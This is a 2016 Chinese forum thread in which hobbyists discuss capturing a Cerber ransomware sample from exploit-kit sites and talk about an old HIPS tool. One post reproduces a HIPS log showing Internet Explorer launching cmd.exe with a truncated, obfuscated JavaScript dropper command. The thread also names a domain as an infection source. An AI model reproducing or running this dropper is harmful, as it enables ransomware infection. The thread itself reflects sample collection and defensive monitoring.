本日cerber........

windows7爱好者

Miracle_Bottle 发表于 2016-12-21 09:16
小白求问，楼主这个样本是怎么抓到的啊？

去漏洞攻击网站抓

liulangzhecgr

windows7爱好者 发表于 2016-12-20 22:51
joellipman.com
不用FQ，直接IE8抓之

2016/12/21 13:43:38    创建新进程    允许
进程: c:\program files\internet explorer\iexplore.exe
目标: c:\windows\system32\cmd.exe
命令行: cmd.exe /q /c cd /d "%tmp%" && echo function O(n,g){for(var c=0,s=String,d,D="pu"+"sh",b=[],i=[],r=255,a=0;r+1^>a;a++)b[a]=a;for(a=0;r+1^>a;a++)c=c+b[a]+g[v](a%g.length)^&r,d=b[a],b[a]=b[c],b[c]=d;for(var e=c=a=0,S="fromCharCode";e^<n.length;e++)a=a+1^&r,c=c+
规则: [应用程序]*

注册个用户名

liulangzhecgr 发表于 2016-12-21 13:46

这个hips是几年前的了，现在在使用上会因为长期没有更新而有问题吗？

liulangzhecgr

注册个用户名 发表于 2016-12-22 01:02
这个hips是几年前的了，现在在使用上会因为长期没有更新而有问题吗？

没有十全十美的东西一样，能对付使用就是。